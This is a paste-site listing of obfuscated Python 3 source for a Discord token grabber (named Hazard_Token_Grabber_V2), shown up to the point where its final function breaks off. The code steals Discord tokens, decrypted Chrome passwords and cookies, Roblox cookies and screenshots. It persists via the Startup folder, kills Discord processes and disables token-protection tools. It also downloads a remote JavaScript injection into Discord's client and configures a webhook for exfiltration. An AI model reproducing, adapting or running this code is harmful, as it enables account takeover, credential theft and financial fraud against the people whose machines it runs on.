Discord Token Grabber - Obfuscated Version


SUBMITTED BY: QuartsIsHere

DATE: April 25, 2022, 1:25 a.m.

UPDATED: June 5, 2022, 12:05 a.m.

FORMAT: Python 3

SIZE: 32.9 kB

HITS: 498

  1. import os #line:1
  2. import json #line:2
  3. import httpx #line:3
  4. import ctypes #line:4
  5. import shutil #line:5
  6. import psutil #line:6
  7. import asyncio #line:7
  8. import sqlite3 #line:8
  9. import zipfile #line:9
  10. import threading #line:10
  11. import subprocess #line:11
  12. from time import sleep #line:13
  13. from rich .console import Console #line:14
  14. from sys import argv #line:15
  15. from PIL import ImageGrab #line:16
  16. from base64 import b64decode #line:17
  17. from re import findall ,match #line:18
  18. from Crypto .Cipher import AES #line:19
  19. from win32crypt import CryptUnprotectData #line:20
  20. config ={'updater':b64decode (b64decode (b64decode ("WEBHOOK IN BASE64 3 TIMES"))).decode ("utf-8"),'testing_url':b64decode ("aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL1JkaW1vL0Rpc2NvcmQtSW5qZWN0aW9uL21hc3Rlci9pbmplY3Rpb24uanM").decode ("utf-8"),'tryv1':True ,'tryv2':True ,'tryv3':True }#line:33
  21. class functions (object ):#line:36
  22. @staticmethod #line:37
  23. def getHeaders (O0OOOOOO0O00O00OO :str =None ):#line:38
  24. O00000O0000OOOOO0 ={"Content-Type":"application/json",}#line:41
  25. if O0OOOOOO0O00O00OO :#line:42
  26. O00000O0000OOOOO0 .update ({"Authorization":O0OOOOOO0O00O00OO })#line:43
  27. return O00000O0000OOOOO0 #line:44
  28. @staticmethod #line:46
  29. def get_master_key (OO0O000O00000O0OO )->str :#line:47
  30. with open (OO0O000O00000O0OO ,"r",encoding ="utf-8")as O0O0OO000OOO00OO0 :#line:48
  31. OOOOOO00O0O000000 =O0O0OO000OOO00OO0 .read ()#line:49
  32. O00000000O0O0OO0O =json .loads (OOOOOO00O0O000000 )#line:50
  33. OO00O0O0OOOOO0O0O =b64decode (O00000000O0O0OO0O ["os_crypt"]["encrypted_key"])#line:52
  34. OO00O0O0OOOOO0O0O =OO00O0O0OOOOO0O0O [5 :]#line:53
  35. OO00O0O0OOOOO0O0O =CryptUnprotectData (OO00O0O0OOOOO0O0O ,None ,None ,None ,0 )[1 ]#line:54
  36. return OO00O0O0OOOOO0O0O #line:55
  37. @staticmethod #line:57
  38. def decrypt_val (O0000OOOO0OOO00O0 ,O00O00O0O00O000OO )->str :#line:58
  39. try :#line:59
  40. OOO0OO0O0O0O0O0O0 =O0000OOOO0OOO00O0 [3 :15 ]#line:60
  41. O000000O00OOO00O0 =O0000OOOO0OOO00O0 [15 :]#line:61
  42. O0000OOOO000OO000 =AES .new (O00O00O0O00O000OO ,AES .MODE_GCM ,OOO0OO0O0O0O0O0O0 )#line:62
  43. OO000O00O0OO0OOO0 =O0000OOOO000OO000 .decrypt (O000000O00OOO00O0 )#line:63
  44. OO000O00O0OO0OOO0 =OO000O00O0OO0OOO0 [:-16 ].decode ()#line:64
  45. return OO000O00O0OO0OOO0 #line:65
  46. except Exception :#line:66
  47. return "Failed to decrypt password"#line:67
  48. @staticmethod #line:69
  49. def config (OO0O00O0OOO000OOO :str )->str or bool |None :#line:70
  50. return config .get (OO0O00O0OOO000OOO )#line:71
  51. class Hazard_Token_Grabber_V2 (functions ):#line:74
  52. def __init__ (O00OO00OO0O0O00OO ):#line:75
  53. O00OO00OO0O0O00OO .webhook =O00OO00OO0O0O00OO .config ('updater')#line:76
  54. O00OO00OO0O0O00OO .baseurl ="https://discord.com/api/v9/users/@me"#line:77
  55. O00OO00OO0O0O00OO .appdata =os .getenv ("localappdata")#line:78
  56. O00OO00OO0O0O00OO .roaming =os .getenv ("appdata")#line:79
  57. O00OO00OO0O0O00OO .temp =os .getenv ("temp")#line:80
  58. O00OO00OO0O0O00OO .startup =O00OO00OO0O0O00OO .roaming +"\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"#line:81
  59. O00OO00OO0O0O00OO .dir =O00OO00OO0O0O00OO .temp +"\\Hazard_Token_Grabber_V2"#line:82
  60. O00OO00OO0O0O00OO .regex =r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}",r"mfa\.[\w-]{84}"#line:83
  61. O00OO00OO0O0O00OO .encrypted_regex =r"dQw4w9WgXcQ:[^.*\['(.*)'\].*$][^\"]*"#line:84
  62. try :#line:86
  63. os .mkdir (os .path .join (O00OO00OO0O0O00OO .dir ))#line:87
  64. except Exception :#line:88
  65. pass #line:89
  66. O00OO00OO0O0O00OO .sep =os .sep #line:91
  67. O00OO00OO0O0O00OO .tokens =[]#line:92
  68. O00OO00OO0O0O00OO .robloxcookies =[]#line:93
  69. def try_extract (OO00OO0OOOOOOOO00 ):#line:95
  70. def O000O0000000O0OOO (*O0000OO000OOO0OO0 ,**O0O000OOO0OOO0O0O ):#line:96
  71. try :#line:97
  72. OO00OO0OOOOOOOO00 (*O0000OO000OOO0OO0 ,**O0O000OOO0OOO0O0O )#line:98
  73. except Exception :#line:99
  74. pass #line:100
  75. return O000O0000000O0OOO #line:101
  76. async def checkToken (OOO00OO00OOO00O00 ,OOOO0O000000OOOOO :str )->str :#line:103
  77. try :#line:104
  78. OOO0O000OOOO00000 =httpx .get (url =OOO00OO00OOO00O00 .baseurl ,headers =OOO00OO00OOO00O00 .getHeaders (OOOO0O000000OOOOO ),timeout =5.0 )#line:109
  79. except (httpx ._exceptions .ConnectTimeout ,httpx ._exceptions .TimeoutException ):#line:110
  80. pass #line:111
  81. if OOO0O000OOOO00000 .status_code ==200 and OOOO0O000000OOOOO not in OOO00OO00OOO00O00 .tokens :#line:112
  82. OOO00OO00OOO00O00 .tokens .append (OOOO0O000000OOOOO )#line:113
  83. async def init (O0OOO00OOOO000O00 ):#line:115
  84. await O0OOO00OOOO000O00 .bypassBetterDiscord ()#line:116
  85. await O0OOO00OOOO000O00 .bypassTokenProtector ()#line:117
  86. OO00OO0OO000OO0O0 =[O0OOO00OOOO000O00 .screenshot ,O0OOO00OOOO000O00 .grabTokens ,O0OOO00OOOO000O00 .grabRobloxCookie ]#line:119
  87. if O0OOO00OOOO000O00 .config ('tryv3'):#line:120
  88. OO00OO0OO000OO0O0 .append (O0OOO00OOOO000O00 .hide )#line:121
  89. if O0OOO00OOOO000O00 .config ('tryv1'):#line:123
  90. OO00OO0OO000OO0O0 .append (O0OOO00OOOO000O00 .killDiscord )#line:124
  91. if O0OOO00OOOO000O00 .config ('tryv2'):#line:126
  92. OO00OO0OO000OO0O0 .append (O0OOO00OOOO000O00 .startup )#line:127
  93. if os .path .exists (O0OOO00OOOO000O00 .appdata +'\\Google\\Chrome\\User Data\\Default')and os .path .exists (O0OOO00OOOO000O00 .appdata +'\\Google\\Chrome\\User Data\\Local State'):#line:129
  94. OO00OO0OO000OO0O0 .append (O0OOO00OOOO000O00 .grabPassword )#line:130
  95. OO00OO0OO000OO0O0 .append (O0OOO00OOOO000O00 .grabCookies )#line:131
  96. for OO0OO0000OOO0OOO0 in OO00OO0OO000OO0O0 :#line:133
  97. O0000O00OOO0OO000 =threading .Thread (target =OO0OO0000OOO0OOO0 ,daemon =True )#line:134
  98. O0000O00OOO0OO000 .start ()#line:135
  99. for OOO0OO00O0OOO000O in threading .enumerate ():#line:136
  100. try :#line:137
  101. OOO0OO00O0OOO000O .join ()#line:138
  102. except RuntimeError :#line:139
  103. continue #line:140
  104. O0OOO00OOOO000O00 .neatifyTokens ()#line:141
  105. await O0OOO00OOOO000O00 .injector ()#line:142
  106. O0OOO00OOOO000O00 .finish ()#line:143
  107. shutil .rmtree (O0OOO00OOOO000O00 .dir )#line:144
  108. def hide (OO00O0OOO00O000O0 ):#line:146
  109. ctypes .windll .kernel32 .SetFileAttributesW (argv [0 ],2 )#line:147
  110. def startup (OOO0OOOOOO0O000O0 ):#line:149
  111. try :#line:150
  112. shutil .copy2 (argv [0 ],OOO0OOOOOO0O000O0 .startup )#line:151
  113. except Exception :#line:152
  114. pass #line:153
  115. async def injector (OO0000O0OOO0O00O0 ):#line:155
  116. for _O0O0O00O0OO00000O in os .listdir (OO0000O0OOO0O00O0 .appdata ):#line:156
  117. if 'discord'in _O0O0O00O0OO00000O .lower ():#line:157
  118. O0O00OO000000O0O0 =OO0000O0OOO0O00O0 .appdata +OO0000O0OOO0O00O0 .sep +_O0O0O00O0OO00000O #line:158
  119. OOOOOOO00O00OO000 =O0O00OO000000O0O0 +OO0000O0OOO0O00O0 .sep #line:159
  120. for __OO00O00OO00O00000 in os .listdir (os .path .abspath (O0O00OO000000O0O0 )):#line:160
  121. if match (r'app-(\d*\.\d*)*',__OO00O00OO00O00000 ):#line:161
  122. O0OOO00O00O0O0O00 =os .path .abspath (OOOOOOO00O00OO000 +__OO00O00OO00O00000 )#line:162
  123. O00O0OOO0OOO0OO00 =O0OOO00O00O0O0O00 +'\\modules\\discord_desktop_core-3\\discord_desktop_core\\'#line:163
  124. if os .path .exists (O00O0OOO0OOO0OO00 ):#line:164
  125. if OO0000O0OOO0O00O0 .startup not in argv [0 ]:#line:165
  126. try :#line:166
  127. os .makedirs (O00O0OOO0OOO0OO00 +'initiation',exist_ok =True )#line:168
  128. except (FileExistsError ,PermissionError ):#line:169
  129. pass #line:170
  130. OO000OO000OO00O00 =httpx .get (OO0000O0OOO0O00O0 .config ('testing_url')).text .replace ("%WEBHOOK%",OO0000O0OOO0O00O0 .webhook )#line:172
  131. with open (O00O0OOO0OOO0OO00 +'index.js','w',errors ="ignore")as O0O000OO0O0O0O000 :#line:173
  132. O0O000OO0O0O0O000 .write (OO000OO000OO00O00 )#line:174
  133. os .startfile (O0OOO00O00O0O0O00 +OO0000O0OOO0O00O0 .sep +_O0O0O00O0OO00000O +'.exe')#line:175
  134. def killDiscord (OO0O00OO000OOOO0O ):#line:177
  135. for OO000OO00000OO0OO in psutil .process_iter ():#line:178
  136. if any (O0000O0O0O0O0O000 in OO000OO00000OO0OO .name ().lower ()for O0000O0O0O0O0O000 in ['discord','discordtokenprotector','discordcanary','discorddevelopment','discordptb']):#line:180
  137. try :#line:181
  138. OO000OO00000OO0OO .kill ()#line:182
  139. except (psutil .NoSuchProcess ,psutil .AccessDenied ):#line:183
  140. pass #line:184
  141. async def bypassTokenProtector (OOO0OOOO0OOOOO0O0 ):#line:186
  142. OOO0OO0OO00OOOO00 =f"{OOO0OOOO0OOOOO0O0.roaming}\\DiscordTokenProtector\\"#line:188
  143. O0O0O00O00000OO00 =OOO0OO0OO00OOOO00 +"config.json"#line:189
  144. for OO000000OOOOO0O0O in ["DiscordTokenProtector.exe","ProtectionPayload.dll","secure.dat"]:#line:191
  145. try :#line:192
  146. os .remove (OOO0OO0OO00OOOO00 +OO000000OOOOO0O0O )#line:193
  147. except FileNotFoundError :#line:194
  148. pass #line:195
  149. if os .path .exists (O0O0O00O00000OO00 ):#line:196
  150. with open (O0O0O00O00000OO00 ,errors ="ignore")as OOOOOO00O0OOO00OO :#line:197
  151. try :#line:198
  152. O0OO000OO00O000O0 =json .load (OOOOOO00O0OOO00OO )#line:199
  153. except json .decoder .JSONDecodeError :#line:200
  154. return #line:201
  155. O0OO000OO00O000O0 ['Rdimo_just_shit_on_this_token_protector']="https://github.com/Rdimo"#line:202
  156. O0OO000OO00O000O0 ['auto_start']=False #line:203
  157. O0OO000OO00O000O0 ['auto_start_discord']=False #line:204
  158. O0OO000OO00O000O0 ['integrity']=False #line:205
  159. O0OO000OO00O000O0 ['integrity_allowbetterdiscord']=False #line:206
  160. O0OO000OO00O000O0 ['integrity_checkexecutable']=False #line:207
  161. O0OO000OO00O000O0 ['integrity_checkhash']=False #line:208
  162. O0OO000OO00O000O0 ['integrity_checkmodule']=False #line:209
  163. O0OO000OO00O000O0 ['integrity_checkscripts']=False #line:210
  164. O0OO000OO00O000O0 ['integrity_checkresource']=False #line:211
  165. O0OO000OO00O000O0 ['integrity_redownloadhashes']=False #line:212
  166. O0OO000OO00O000O0 ['iterations_iv']=364 #line:213
  167. O0OO000OO00O000O0 ['iterations_key']=457 #line:214
  168. O0OO000OO00O000O0 ['version']=69420 #line:215
  169. with open (O0O0O00O00000OO00 ,'w')as OOOOOO00O0OOO00OO :#line:216
  170. json .dump (O0OO000OO00O000O0 ,OOOOOO00O0OOO00OO ,indent =2 ,sort_keys =True )#line:217
  171. with open (O0O0O00O00000OO00 ,'a')as OOOOOO00O0OOO00OO :#line:218
  172. OOOOOO00O0OOO00OO .write ("\n\n//Rdimo just shit on this token protector | https://github.com/Rdimo")#line:220
  173. async def bypassBetterDiscord (O0O0O0OO00OO0O000 ):#line:222
  174. OO00000OO00O0OOO0 =O0O0O0OO00OO0O000 .roaming +"\\BetterDiscord\\data\\betterdiscord.asar"#line:223
  175. if os .path .exists (OO00000OO00O0OOO0 ):#line:224
  176. O000OOO0OOOO000O0 ="api/webhooks"#line:225
  177. with open (OO00000OO00O0OOO0 ,'r',encoding ="cp437",errors ='ignore')as OO00O000000O00OO0 :#line:226
  178. O00OO000O00000OO0 =OO00O000000O00OO0 .read ()#line:227
  179. O00OOO00000O00000 =O00OO000O00000OO0 .replace (O000OOO0OOOO000O0 ,'RdimoTheGoat')#line:228
  180. with open (OO00000OO00O0OOO0 ,'w',newline ='',encoding ="cp437",errors ='ignore')as OO00O000000O00OO0 :#line:229
  181. OO00O000000O00OO0 .write (O00OOO00000O00000 )#line:230
  182. def getProductValues (OO00O00OO00O0OO00 ):#line:232
  183. try :#line:233
  184. O00O00O00O0OO00O0 =subprocess .check_output (r"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault",creationflags =0x08000000 ).decode ().rstrip ()#line:235
  185. except Exception :#line:236
  186. O00O00O00O0OO00O0 ="N/A (Likely Pirated)"#line:237
  187. try :#line:238
  188. O0OOOO00O0OOO000O =subprocess .check_output (r"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName",creationflags =0x08000000 ).decode ().rstrip ()#line:240
  189. except Exception :#line:241
  190. O0OOOO00O0OOO000O ="N/A"#line:242
  191. return [O0OOOO00O0OOO000O ,O00O00O00O0OO00O0 ]#line:243
  192. @try_extract #line:245
  193. def grabTokens (OO0O00O00O0OO0O0O ):#line:246
  194. O0OOO00O0O00O0000 ={'Discord':OO0O00O00O0OO0O0O .roaming +r'\\discord\\Local Storage\\leveldb\\','Discord Canary':OO0O00O00O0OO0O0O .roaming +r'\\discordcanary\\Local Storage\\leveldb\\','Lightcord':OO0O00O00O0OO0O0O .roaming +r'\\Lightcord\\Local Storage\\leveldb\\','Discord PTB':OO0O00O00O0OO0O0O .roaming +r'\\discordptb\\Local Storage\\leveldb\\','Opera':OO0O00O00O0OO0O0O .roaming +r'\\Opera Software\\Opera Stable\\Local Storage\\leveldb\\','Opera GX':OO0O00O00O0OO0O0O .roaming +r'\\Opera Software\\Opera GX Stable\\Local Storage\\leveldb\\','Amigo':OO0O00O00O0OO0O0O .appdata +r'\\Amigo\\User Data\\Local Storage\\leveldb\\','Torch':OO0O00O00O0OO0O0O .appdata +r'\\Torch\\User Data\\Local Storage\\leveldb\\','Kometa':OO0O00O00O0OO0O0O .appdata +r'\\Kometa\\User Data\\Local Storage\\leveldb\\','Orbitum':OO0O00O00O0OO0O0O .appdata +r'\\Orbitum\\User Data\\Local Storage\\leveldb\\','CentBrowser':OO0O00O00O0OO0O0O .appdata +r'\\CentBrowser\\User Data\\Local Storage\\leveldb\\','7Star':OO0O00O00O0OO0O0O .appdata +r'\\7Star\\7Star\\User Data\\Local Storage\\leveldb\\','Sputnik':OO0O00O00O0OO0O0O .appdata +r'\\Sputnik\\Sputnik\\User Data\\Local Storage\\leveldb\\','Vivaldi':OO0O00O00O0OO0O0O .appdata +r'\\Vivaldi\\User Data\\Default\\Local Storage\\leveldb\\','Chrome SxS':OO0O00O00O0OO0O0O .appdata +r'\\Google\\Chrome SxS\\User Data\\Local Storage\\leveldb\\','Chrome':OO0O00O00O0OO0O0O .appdata +r'\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\','Epic Privacy Browser':OO0O00O00O0OO0O0O .appdata +r'\\Epic Privacy Browser\\User Data\\Local Storage\\leveldb\\','Microsoft Edge':OO0O00O00O0OO0O0O .appdata +r'\\Microsoft\\Edge\\User Data\\Defaul\\Local Storage\\leveldb\\','Uran':OO0O00O00O0OO0O0O .appdata +r'\\uCozMedia\\Uran\\User Data\\Default\\Local Storage\\leveldb\\','Yandex':OO0O00O00O0OO0O0O .appdata +r'\\Yandex\\YandexBrowser\\User Data\\Default\\Local Storage\\leveldb\\','Brave':OO0O00O00O0OO0O0O .appdata +r'\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Local Storage\\leveldb\\','Iridium':OO0O00O00O0OO0O0O .appdata +r'\\Iridium\\User Data\\Default\\Local Storage\\leveldb\\'}#line:270
  195. for _OOO000O00O00OOOOO ,O0O000O0O0OOO0OOO in O0OOO00O0O00O0000 .items ():#line:272
  196. if not os .path .exists (O0O000O0O0OOO0OOO ):#line:273
  197. continue #line:274
  198. if "discord"not in O0O000O0O0OOO0OOO :#line:275
  199. for OO00O00O0OO00OOOO in os .listdir (O0O000O0O0OOO0OOO ):#line:276
  200. if not OO00O00O0OO00OOOO .endswith ('.log')and not OO00O00O0OO00OOOO .endswith ('.ldb'):#line:277
  201. continue #line:278
  202. for OO00000OOO00OO000 in [OOO0O0OO0O0000OO0 .strip ()for OOO0O0OO0O0000OO0 in open (f'{O0O000O0O0OOO0OOO}\\{OO00O00O0OO00OOOO}',errors ='ignore').readlines ()if OOO0O0OO0O0000OO0 .strip ()]:#line:279
  203. for OOOO0OO0OO0OO0OO0 in (OO0O00O00O0OO0O0O .regex ):#line:280
  204. for OO0OOO000000O0O0O in findall (OOOO0OO0OO0OO0OO0 ,OO00000OOO00OO000 ):#line:281
  205. asyncio .run (OO0O00O00O0OO0O0O .checkToken (OO0OOO000000O0O0O ))#line:282
  206. else :#line:283
  207. if os .path .exists (OO0O00O00O0OO0O0O .roaming +'\\discord\\Local State'):#line:284
  208. for OO00O00O0OO00OOOO in os .listdir (O0O000O0O0OOO0OOO ):#line:285
  209. if not OO00O00O0OO00OOOO .endswith ('.log')and not OO00O00O0OO00OOOO .endswith ('.ldb'):#line:286
  210. continue #line:287
  211. for OO00000OOO00OO000 in [OOOO000OO0OO0OOO0 .strip ()for OOOO000OO0OO0OOO0 in open (f'{O0O000O0O0OOO0OOO}\\{OO00O00O0OO00OOOO}',errors ='ignore').readlines ()if OOOO000OO0OO0OOO0 .strip ()]:#line:288
  212. for O00O00OO0OO0OO0OO in findall (OO0O00O00O0OO0O0O .encrypted_regex ,OO00000OOO00OO000 ):#line:289
  213. OO0OOO000000O0O0O =OO0O00O00O0OO0O0O .decrypt_val (b64decode (O00O00OO0OO0OO0OO .split ('dQw4w9WgXcQ:')[1 ]),OO0O00O00O0OO0O0O .get_master_key (OO0O00O00O0OO0O0O .roaming +'\\discord\\Local State'))#line:291
  214. asyncio .run (OO0O00O00O0OO0O0O .checkToken (OO0OOO000000O0O0O ))#line:292
  215. if os .path .exists (OO0O00O00O0OO0O0O .roaming +"\\Mozilla\\Firefox\\Profiles"):#line:294
  216. for O0O000O0O0OOO0OOO ,_OOO000O00O00OOOOO ,OOOO0O0O0000OOO0O in os .walk (OO0O00O00O0OO0O0O .roaming +"\\Mozilla\\Firefox\\Profiles"):#line:295
  217. for _O00OOOO00000O00O0 in OOOO0O0O0000OOO0O :#line:296
  218. if not _O00OOOO00000O00O0 .endswith ('.sqlite'):#line:297
  219. continue #line:298
  220. for OO00000OOO00OO000 in [O000000O00OO00O00 .strip ()for O000000O00OO00O00 in open (f'{O0O000O0O0OOO0OOO}\\{_O00OOOO00000O00O0}',errors ='ignore').readlines ()if O000000O00OO00O00 .strip ()]:#line:299
  221. for OOOO0OO0OO0OO0OO0 in (OO0O00O00O0OO0O0O .regex ):#line:300
  222. for OO0OOO000000O0O0O in findall (OOOO0OO0OO0OO0OO0 ,OO00000OOO00OO000 ):#line:301
  223. asyncio .run (OO0O00O00O0OO0O0O .checkToken (OO0OOO000000O0O0O ))#line:302
  224. @try_extract #line:304
  225. def grabPassword (O0O00OOO0O00OO000 ):#line:305
  226. OO00OOO0OO00O0O00 =O0O00OOO0O00OO000 .get_master_key (O0O00OOO0O00OO000 .appdata +'\\Google\\Chrome\\User Data\\Local State')#line:307
  227. OO0OO0OOOOOO0O00O =O0O00OOO0O00OO000 .appdata +'\\Google\\Chrome\\User Data\\default\\Login Data'#line:308
  228. OO00O00OOOOO0O0OO =O0O00OOO0O00OO000 .temp +O0O00OOO0O00OO000 .sep +"Loginvault1.db"#line:309
  229. shutil .copy2 (OO0OO0OOOOOO0O00O ,OO00O00OOOOO0O0OO )#line:311
  230. OO00O0O00OOO0O00O =sqlite3 .connect (OO00O00OOOOO0O0OO )#line:312
  231. O0O0000O000OOO0O0 =OO00O0O00OOO0O00O .cursor ()#line:313
  232. with open (O0O00OOO0O00OO000 .dir +"\\Google Passwords.txt","w",encoding ="cp437",errors ='ignore')as O0OO0O0O0O0OO0O00 :#line:314
  233. O0O0000O000OOO0O0 .execute ("SELECT action_url, username_value, password_value FROM logins")#line:316
  234. for O00OO00O0O0OOO00O in O0O0000O000OOO0O0 .fetchall ():#line:317
  235. OOO0O0O000O0OO0O0 =O00OO00O0O0OOO00O [0 ]#line:318
  236. O000000OOO0O0000O =O00OO00O0O0OOO00O [1 ]#line:319
  237. O0O00O0O00OOO0O00 =O00OO00O0O0OOO00O [2 ]#line:320
  238. O0OO0O00000OO0OO0 =O0O00OOO0O00OO000 .decrypt_val (O0O00O0O00OOO0O00 ,OO00OOO0OO00O0O00 )#line:322
  239. if OOO0O0O000O0OO0O0 !="":#line:323
  240. O0OO0O0O0O0OO0O00 .write (f"Domain: {OOO0O0O000O0OO0O0}\nUser: {O000000OOO0O0000O}\nPass: {O0OO0O00000OO0OO0}\n\n")#line:325
  241. O0O0000O000OOO0O0 .close ()#line:326
  242. OO00O0O00OOO0O00O .close ()#line:327
  243. os .remove (OO00O00OOOOO0O0OO )#line:328
  244. @try_extract #line:330
  245. def grabCookies (O00OO000O0000OO00 ):#line:331
  246. OOO0O0OOOO000O000 =O00OO000O0000OO00 .get_master_key (O00OO000O0000OO00 .appdata +'\\Google\\Chrome\\User Data\\Local State')#line:333
  247. O0O00OOO00000OO0O =O00OO000O0000OO00 .appdata +'\\Google\\Chrome\\User Data\\default\\Network\\cookies'#line:334
  248. O0O00OOO000OOOO0O =O00OO000O0000OO00 .temp +O00OO000O0000OO00 .sep +"Loginvault2.db"#line:335
  249. shutil .copy2 (O0O00OOO00000OO0O ,O0O00OOO000OOOO0O )#line:336
  250. OOOOOO0OO00000O0O =sqlite3 .connect (O0O00OOO000OOOO0O )#line:337
  251. OOO0O00O00OO00OO0 =OOOOOO0OO00000O0O .cursor ()#line:338
  252. with open (O00OO000O0000OO00 .dir +"\\Google Cookies.txt","w",encoding ="cp437",errors ='ignore')as O00000OOOOO000OOO :#line:339
  253. OOO0O00O00OO00OO0 .execute ("SELECT host_key, name, encrypted_value from cookies")#line:341
  254. for OO00OO0O0O0O0O0O0 in OOO0O00O00OO00OO0 .fetchall ():#line:342
  255. O00000O000000000O =OO00OO0O0O0O0O0O0 [0 ]#line:343
  256. OOOOOOOO0000O0000 =OO00OO0O0O0O0O0O0 [1 ]#line:344
  257. O0OOO0OO0OOO0O00O =O00OO000O0000OO00 .decrypt_val (OO00OO0O0O0O0O0O0 [2 ],OOO0O0OOOO000O000 )#line:345
  258. if O00000O000000000O !="":#line:346
  259. O00000OOOOO000OOO .write (f"Host: {O00000O000000000O}\nUser: {OOOOOOOO0000O0000}\nCookie: {O0OOO0OO0OOO0O00O}\n\n")#line:348
  260. if '_|WARNING:-DO-NOT-SHARE-THIS.--Sharing-this-will-allow-someone-to-log-in-as-you-and-to-steal-your-ROBUX-and-items.|_'in O0OOO0OO0OOO0O00O :#line:349
  261. O00OO000O0000OO00 .robloxcookies .append (O0OOO0OO0OOO0O00O )#line:350
  262. OOO0O00O00OO00OO0 .close ()#line:351
  263. OOOOOO0OO00000O0O .close ()#line:352
  264. os .remove (O0O00OOO000OOOO0O )#line:353
  265. def neatifyTokens (O0OOOOOO00OOOOOO0 ):#line:355
  266. OO0O000OO00OOOO0O =open (O0OOOOOO00OOOOOO0 .dir +"\\Discord Info.txt","w",encoding ="cp437",errors ='ignore')#line:357
  267. for O0O0OOOO00000O00O in O0OOOOOO00OOOOOO0 .tokens :#line:358
  268. OOO0000O00OO0OO0O =httpx .get (O0OOOOOO00OOOOOO0 .baseurl ,headers =O0OOOOOO00OOOOOO0 .getHeaders (O0O0OOOO00000O00O )).json ()#line:360
  269. O0O00OOOO00000OOO =OOO0000O00OO0OO0O .get ('username')+'#'+str (OOO0000O00OO0OO0O .get ("discriminator"))#line:361
  270. OO00O0OOO0O0O00O0 =""#line:363
  271. O00OOOO00O00O0O00 =OOO0000O00OO0OO0O ['flags']#line:364
  272. O00OOOO00O00O0O00 =OOO0000O00OO0OO0O ['flags']#line:365
  273. if (O00OOOO00O00O0O00 ==1 ):#line:366
  274. OO00O0OOO0O0O00O0 +="Staff, "#line:367
  275. if (O00OOOO00O00O0O00 ==2 ):#line:368
  276. OO00O0OOO0O0O00O0 +="Partner, "#line:369
  277. if (O00OOOO00O00O0O00 ==4 ):#line:370
  278. OO00O0OOO0O0O00O0 +="Hypesquad Event, "#line:371
  279. if (O00OOOO00O00O0O00 ==8 ):#line:372
  280. OO00O0OOO0O0O00O0 +="Green Bughunter, "#line:373
  281. if (O00OOOO00O00O0O00 ==64 ):#line:374
  282. OO00O0OOO0O0O00O0 +="Hypesquad Bravery, "#line:375
  283. if (O00OOOO00O00O0O00 ==128 ):#line:376
  284. OO00O0OOO0O0O00O0 +="HypeSquad Brillance, "#line:377
  285. if (O00OOOO00O00O0O00 ==256 ):#line:378
  286. OO00O0OOO0O0O00O0 +="HypeSquad Balance, "#line:379
  287. if (O00OOOO00O00O0O00 ==512 ):#line:380
  288. OO00O0OOO0O0O00O0 +="Early Supporter, "#line:381
  289. if (O00OOOO00O00O0O00 ==16384 ):#line:382
  290. OO00O0OOO0O0O00O0 +="Gold BugHunter, "#line:383
  291. if (O00OOOO00O00O0O00 ==131072 ):#line:384
  292. OO00O0OOO0O0O00O0 +="Verified Bot Developer, "#line:385
  293. if (OO00O0OOO0O0O00O0 ==""):#line:386
  294. OO00O0OOO0O0O00O0 ="None"#line:387
  295. OOO000O000O0O0OOO =OOO0000O00OO0OO0O .get ("email")#line:388
  296. OOO0OO000OO00O0O0 =OOO0000O00OO0OO0O .get ("phone")if OOO0000O00OO0OO0O .get ("phone")else "No Phone Number attached"#line:390
  297. OOOO00O000OO0OOOO =httpx .get (O0OOOOOO00OOOOOO0 .baseurl +'/billing/subscriptions',headers =O0OOOOOO00OOOOOO0 .getHeaders (O0O0OOOO00000O00O )).json ()#line:392
  298. O0OOO00OO0OO0O0O0 =False #line:393
  299. O0OOO00OO0OO0O0O0 =bool (len (OOOO00O000OO0OOOO )>0 )#line:394
  300. O0OOOOOOO0OOOO0O0 =bool (len (json .loads (httpx .get (O0OOOOOO00OOOOOO0 .baseurl +"/billing/payment-sources",headers =O0OOOOOO00OOOOOO0 .getHeaders (O0O0OOOO00000O00O )).text ))>0 )#line:396
  301. OO0O000OO00OOOO0O .write (f"{' '*17}{O0O00OOOO00000OOO}\n{'-'*50}\nToken: {O0O0OOOO00000O00O}\nHas Billing: {O0OOOOOOO0OOOO0O0}\nNitro: {O0OOO00OO0OO0O0O0}\nBadges: {OO00O0OOO0O0O00O0}\nEmail: {OOO000O000O0O0OOO}\nPhone: {OOO0OO000OO00O0O0}\n\n")#line:397
  302. OO0O000OO00OOOO0O .close ()#line:398
  303. def grabRobloxCookie (O000O0O00000OO00O ):#line:400
  304. def OO0O0O0O00000OO00 (O000000O00OOOO0O0 ):#line:401
  305. try :#line:402
  306. return subprocess .check_output (fr"powershell Get-ItemPropertyValue -Path {O000000O00OOOO0O0}:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY",creationflags =0x08000000 ).decode ().rstrip ()#line:405
  307. except Exception :#line:406
  308. return None #line:407
  309. O0OOOOOOO00000000 =OO0O0O0O00000OO00 (r'HKLM')#line:408
  310. if not O0OOOOOOO00000000 :#line:409
  311. O0OOOOOOO00000000 =OO0O0O0O00000OO00 (r'HKCU')#line:410
  312. if O0OOOOOOO00000000 :#line:411
  313. O000O0O00000OO00O .robloxcookies .append (O0OOOOOOO00000000 )#line:412
  314. if O000O0O00000OO00O .robloxcookies :#line:413
  315. with open (O000O0O00000OO00O .dir +"\\Roblox Cookies.txt","w")as OO00O000OO00000OO :#line:414
  316. for OOOO0O0O0OOO0OO00 in O000O0O00000OO00O .robloxcookies :#line:415
  317. OO00O000OO00000OO .write (OOOO0O0O0OOO0OO00 +'\n')#line:416
  318. def screenshot (O000OOO000O0OOOO0 ):#line:418
  319. OO0OOO00OO0O000OO =ImageGrab .grab (bbox =None ,include_layered_windows =False ,all_screens =True ,xdisplay =None )#line:424
  320. OO0OOO00OO0O000OO .save (O000OOO000O0OOOO0 .dir +"\\Screenshot.png")#line:425
  321. OO0OOO00OO0O000OO .close ()#line:426
  322. def finish (O000O0O00O0O0OOOO ):#line:428
  323. for OO00OO0O0O0000O00 in os .listdir (O000O0O00O0O0OOOO .dir ):#line:429
  324. if OO00OO0O0O0000O00 .endswith ('.txt'):#line:430
